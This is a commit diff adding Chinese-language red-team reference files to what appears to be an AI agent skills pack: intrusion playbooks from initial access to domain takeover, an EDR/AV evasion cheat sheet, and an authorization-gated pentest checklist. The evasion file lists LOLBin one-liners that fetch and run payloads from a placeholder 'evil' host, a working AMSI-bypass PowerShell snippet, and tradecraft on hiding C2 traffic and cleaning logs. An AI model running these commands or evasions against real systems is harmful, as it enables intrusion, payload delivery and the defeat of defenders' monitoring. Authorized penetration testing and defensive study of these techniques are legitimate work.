reverse-skills-max: initial public release (restored, redacted, hardened)
This commit is contained in:
baradok609hecl1pq6qi
@@ -0,0 +1,126 @@
|
||||
# 攻击链 Playbook 速查
|
||||
|
||||
> 按目标类型选择对应 playbook，每个 playbook 定义了从初始访问到目标达成的标准路径。
|
||||
|
||||
---
|
||||
|
||||
## Playbook 1: 外网 Web 应用 → 域控
|
||||
|
||||
```
|
||||
1. 子域名枚举 + 端口扫描
|
||||
2. Web 指纹识别 → 找到已知漏洞组件
|
||||
3. 漏洞利用获取 Webshell / RCE
|
||||
4. 内网信息收集（ipconfig/ifconfig, arp, net user）
|
||||
5. 搭建隧道（frp/chisel/ssh）
|
||||
6. 内网扫描（存活主机、开放端口）
|
||||
7. 凭据获取（mimikatz/hashdump/配置文件）
|
||||
8. 横向移动（PTH/WMI/PsExec）
|
||||
9. 域信息收集（BloodHound）
|
||||
10. 域提权（Kerberoasting/DCSync/约束委派）
|
||||
11. 获取域控权限
|
||||
```
|
||||
|
||||
**关键工具链**: subfinder → httpx → nuclei → sqlmap/sstimap → frp → nmap → mimikatz → crackmapexec → bloodhound → certipy
|
||||
|
||||
---
|
||||
|
||||
## Playbook 2: 钓鱼 → 内网渗透
|
||||
|
||||
```
|
||||
1. 目标员工信息收集（LinkedIn/脉脉）
|
||||
2. 构造钓鱼邮件（伪造发件人/合法主题）
|
||||
3. 制作载荷（宏文档/LNK/ISO/HTML走私）
|
||||
4. 发送钓鱼邮件
|
||||
5. 等待上线（C2 beacon）
|
||||
6. 本地信息收集 + 提权
|
||||
7. 凭据提取
|
||||
8. 横向移动
|
||||
9. 持久化
|
||||
10. 目标达成
|
||||
```
|
||||
|
||||
**关键工具链**: theHarvester → gophish → msfvenom/cobalt-strike → mimikatz → bloodhound
|
||||
|
||||
---
|
||||
|
||||
## Playbook 3: 近源渗透 → 内网
|
||||
|
||||
```
|
||||
1. 物理踩点（WiFi 信号、门禁类型、USB 口）
|
||||
2. WiFi 攻击（Fluxion 伪造热点 / WPA 破解）
|
||||
或 BadUSB 植入（Rubber Ducky 键盘注入）
|
||||
或 网络植入（Raspberry Pi / LAN Turtle）
|
||||
3. 获取内网接入点
|
||||
4. 内网扫描
|
||||
5. 后续同 Playbook 1 的步骤 5-11
|
||||
```
|
||||
|
||||
**关键工具链**: fluxion/aircrack-ng → rubber-ducky → frp → nmap → crackmapexec
|
||||
|
||||
---
|
||||
|
||||
## Playbook 4: 云环境渗透
|
||||
|
||||
```
|
||||
1. 云资产发现（子域名 → CNAME → 云服务商）
|
||||
2. 存储桶枚举（S3/OSS/Blob 公开访问）
|
||||
3. SSRF → 云元数据（169.254.169.254）
|
||||
4. 获取临时凭据（AK/SK/Token）
|
||||
5. 云 API 枚举（IAM/EC2/Lambda/RDS）
|
||||
6. 权限提升（PassRole/AssumeRole）
|
||||
7. 横向移动（跨账户/跨区域）
|
||||
8. 数据获取
|
||||
```
|
||||
|
||||
**关键工具链**: subfinder → nuclei(ssrf) → aws-cli → pacu → ScoutSuite
|
||||
|
||||
---
|
||||
|
||||
## Playbook 5: Bug Bounty / SRC 快速打点
|
||||
|
||||
```
|
||||
1. 资产收集（子域名 + 端口 + JS 文件）
|
||||
2. 指纹识别 → 已知漏洞快速验证（nuclei）
|
||||
3. 参数发现（arjun/paramspider）
|
||||
4. 逐类测试：
|
||||
- IDOR/越权（改 ID/改角色）
|
||||
- SSRF（内网探测/云元数据）
|
||||
- SQL 注入（sqlmap）
|
||||
- XSS（xsstrike）
|
||||
- 文件上传（绕过检测）
|
||||
- 逻辑漏洞（支付/验证码/密码重置）
|
||||
5. 编写 PoC + 提交报告
|
||||
```
|
||||
|
||||
**关键工具链**: subfinder → httpx → nuclei → arjun → sqlmap → xsstrike → burpsuite
|
||||
|
||||
---
|
||||
|
||||
## Playbook 6: AD CS 证书攻击
|
||||
|
||||
```
|
||||
1. 发现 AD CS 服务（certipy find）
|
||||
2. 识别易受攻击的模板（ESC1-ESC8）
|
||||
3. 请求恶意证书
|
||||
4. 使用证书认证为目标用户
|
||||
5. 获取 NTLM Hash 或 TGT
|
||||
6. DCSync 导出所有凭据
|
||||
```
|
||||
|
||||
**关键工具链**: certipy → rubeus → mimikatz → secretsdump
|
||||
|
||||
---
|
||||
|
||||
## 通用决策矩阵
|
||||
|
||||
| 当前状态 | 下一步优先级 |
|
||||
|---------|-------------|
|
||||
| 只有目标域名 | 子域名枚举 → 端口扫描 → Web 指纹 |
|
||||
| 有 Web 漏洞 | 获取 shell → 内网信息收集 |
|
||||
| 有低权限 shell | 提权 → 凭据提取 |
|
||||
| 有一台内网机器 | 搭隧道 → 内网扫描 → 横向 |
|
||||
| 有域用户凭据 | BloodHound → 找攻击路径 |
|
||||
| 有域管 Hash | DCSync → Golden Ticket |
|
||||
| 有云 AK/SK | 枚举权限 → 提权 → 数据获取 |
|
||||
| 钓鱼上线 | 本地提权 → 凭据 → 横向 |
|
||||
| 近源接入 | 内网扫描 → 同上 |
|
||||
@@ -0,0 +1,133 @@
|
||||
# EDR/AV 绕过与隐蔽操作速查
|
||||
|
||||
> 来源：多个红队实战经验总结（2024-2026）
|
||||
> 适用场景：需要在有 EDR/AV 防护的环境中执行操作时参考
|
||||
|
||||
---
|
||||
|
||||
## 检测层与对应绕过
|
||||
|
||||
| 检测层 | EDR 做什么 | 绕过思路 |
|
||||
|--------|-----------|---------|
|
||||
| 静态签名 | 匹配已知恶意文件 hash/特征 | 自定义编译、加密 payload、修改特征 |
|
||||
| 用户态 Hook | Hook ntdll.dll 监控 API 调用 | 直接系统调用 / Unhooking / 自带 ntdll |
|
||||
| 内核回调 | 注册进程/线程/镜像加载回调 | 回调移除（需要驱动）/ 合法进程注入 |
|
||||
| ETW | 通过 ETW 收集事件 | Patch EtwEventWrite / 禁用 provider |
|
||||
| 行为分析 | 分析调用序列和行为模式 | 延迟执行 / 分散操作 / 模拟正常行为 |
|
||||
| 内存扫描 | 定期扫描进程内存 | 堆加密 / Sleep 时加密 payload / 模块踩踏 |
|
||||
| 网络检测 | 分析出站流量特征 | 域前置 / 合法服务隧道 / 加密 |
|
||||
|
||||
---
|
||||
|
||||
## 实用绕过技术
|
||||
|
||||
### 1. 直接系统调用（绕过用户态 Hook）
|
||||
|
||||
```
|
||||
原理：不通过 ntdll.dll，直接用 syscall 指令调用内核
|
||||
工具：SysWhispers3 / HellsGate / TartarusGate
|
||||
效果：绕过所有用户态 Hook
|
||||
```
|
||||
|
||||
### 2. Unhooking（恢复原始 ntdll）
|
||||
|
||||
```
|
||||
方法 A：从磁盘重新映射 ntdll.dll
|
||||
方法 B：从 KnownDlls 目录加载干净副本
|
||||
方法 C：从挂起的进程中复制 .text 段
|
||||
效果：恢复被 Hook 的 API 到原始状态
|
||||
```
|
||||
|
||||
### 3. 进程注入（选择低监控目标）
|
||||
|
||||
```
|
||||
推荐注入目标（低监控）：
|
||||
- RuntimeBroker.exe
|
||||
- sihost.exe
|
||||
- taskhostw.exe
|
||||
- explorer.exe（风险稍高）
|
||||
|
||||
避免注入：
|
||||
- lsass.exe（高度监控）
|
||||
- svchost.exe（部分 EDR 重点关注）
|
||||
- powershell.exe / cmd.exe
|
||||
```
|
||||
|
||||
### 4. 模块踩踏（Module Stomping）
|
||||
|
||||
```
|
||||
原理：将 payload 写入已加载的合法 DLL 的 .text 段
|
||||
效果：内存扫描时看到的是合法模块，不是可疑的 RWX 内存
|
||||
```
|
||||
|
||||
### 5. Sleep 加密（Ekko/Zilean）
|
||||
|
||||
```
|
||||
原理：beacon sleep 期间加密自身内存
|
||||
效果：内存扫描时找不到 payload 特征
|
||||
实现：注册 Timer 回调，sleep 前加密，唤醒后解密
|
||||
```
|
||||
|
||||
### 6. 调用栈欺骗（Call Stack Spoofing）
|
||||
|
||||
```
|
||||
原理：伪造调用栈，使 API 调用看起来来自合法代码
|
||||
效果：绕过基于调用栈的行为检测
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## C2 流量隐蔽
|
||||
|
||||
| 技术 | 原理 | 检测难度 |
|
||||
|------|------|---------|
|
||||
| 域前置 | HTTPS 请求的 SNI 和 Host 头不同 | 高 |
|
||||
| Cloudflare Workers | 通过 CF 中转，看起来是正常 HTTPS | 高 |
|
||||
| Azure/AWS 合法服务 | 利用云服务 API 做 C2 通道 | 极高 |
|
||||
| DNS over HTTPS | C2 数据编码在 DNS 查询中 | 中 |
|
||||
| WebSocket | 长连接，混入正常 Web 流量 | 中 |
|
||||
| ICMP 隧道 | 数据藏在 ICMP 包中 | 低（容易被发现） |
|
||||
|
||||
---
|
||||
|
||||
## LOLBins（Living Off the Land）
|
||||
|
||||
利用系统自带的合法程序执行恶意操作：
|
||||
|
||||
| 程序 | 用途 | 命令示例 |
|
||||
|------|------|---------|
|
||||
| certutil | 下载文件 | `certutil -urlcache -split -f http://evil/payload.exe` |
|
||||
| mshta | 执行 HTA | `mshta http://evil/payload.hta` |
|
||||
| rundll32 | 加载 DLL | `rundll32 evil.dll,EntryPoint` |
|
||||
| regsvr32 | 加载 SCT | `regsvr32 /s /n /u /i:http://evil/file.sct scrobj.dll` |
|
||||
| wmic | 远程执行 | `wmic /node:target process call create "cmd"` |
|
||||
| msiexec | 安装 MSI | `msiexec /q /i http://evil/payload.msi` |
|
||||
| bitsadmin | 下载文件 | `bitsadmin /transfer job http://evil/payload.exe C:\payload.exe` |
|
||||
| forfiles | 执行命令 | `forfiles /p c:\windows /m notepad.exe /c "cmd /c calc.exe"` |
|
||||
|
||||
---
|
||||
|
||||
## AMSI 绕过（PowerShell）
|
||||
|
||||
```powershell
|
||||
# 经典 Patch（可能被签名检测）
|
||||
$a = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
|
||||
$b = $a.GetField('amsiInitFailed','NonPublic,Static')
|
||||
$b.SetValue($null,$true)
|
||||
|
||||
# 更隐蔽的方式：反射修改 AmsiScanBuffer
|
||||
# 或使用 PowerShell 降级到 v2（无 AMSI）
|
||||
powershell -version 2
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 操作安全（OpSec）原则
|
||||
|
||||
1. **最小动作原则** — 能不碰的不碰，能用已有凭据的不新建
|
||||
2. **时间窗口** — 在目标非工作时间操作（减少人工审查概率）
|
||||
3. **流量混入** — C2 通信频率和大小模拟正常业务流量
|
||||
4. **工具不落盘** — 内存执行，用完即清
|
||||
5. **日志意识** — 知道哪些操作会产生什么日志，提前规避或事后清理
|
||||
6. **蜜罐识别** — 操作前先识别蜜罐（异常开放的服务、过于诱人的凭据）
|
||||
7. **分段操作** — 不要一次性完成所有步骤，分散在多个时间段
|
||||
@@ -0,0 +1,37 @@
|
||||
# 渗透/攻击链生命周期检查单
|
||||
|
||||
> 对照社区 pentest skill 包（如 Orizon claude-code-pentest 六阶段）与本包 `attack-chain` + `ops` 整合。
|
||||
> 来源启发：公开 Claude pentest lifecycle skills（2026-07 检索）；**命令与授权以本包 scope 为准**。
|
||||
> 日期：2026-07-17
|
||||
|
||||
## 使用前
|
||||
|
||||
- [ ] `case-init` 完成，`auth.status=granted`
|
||||
- [ ] `network_profile` ≠ 误用 unrestricted 打生产
|
||||
- [ ] `lead` 已指定 specialist_roles（`ops/role-map.md`）
|
||||
|
||||
## 阶段门闩
|
||||
|
||||
| 阶段 | 角色 | 本包 skill | 完成标准 |
|
||||
|------|------|------------|----------|
|
||||
| 0 Scope | lead | ops/scope-contract | ready_for_act |
|
||||
| 1 Recon | cie | pentest-tools | assets 列表 + timeline |
|
||||
| 2 Enum/Vuln | cpe | pentest-tools / api-security | 候选 F-* 草稿 |
|
||||
| 3 Validate | cpe | pentest-tools | E-* + validated Finding |
|
||||
| 4 Post-ex（若授权） | cpe/lead | attack-chain 后半 | 不超 out_of_scope |
|
||||
| 5 RE 辅助 | cre | ida/apk/js/… | 仅当需要客户端/二进制 |
|
||||
| 6 Report | doc | docs-generator | Evidence→Finding→Path |
|
||||
| 7 Journal | lead | field-journal | 脱敏 |
|
||||
|
||||
## 与「给一个域名全自动打穿」类 skill 的差异（特色）
|
||||
|
||||
| 外部自动化包常见 | reverse-skill |
|
||||
|------------------|---------------|
|
||||
| 默认对域名狂扫 | 必须 scope 资产列表 |
|
||||
| 弱证据直接写报告 | 强制 E/F/P 链 |
|
||||
| 单会话无角色 | role-map 交接 |
|
||||
| 无工具索引 | tool-index + bootstrap |
|
||||
|
||||
## 每阶段 timeline 最少一条
|
||||
|
||||
格式见 `ops/timeline-workitem.md`。
|
||||
Reference in New Issue
Block a user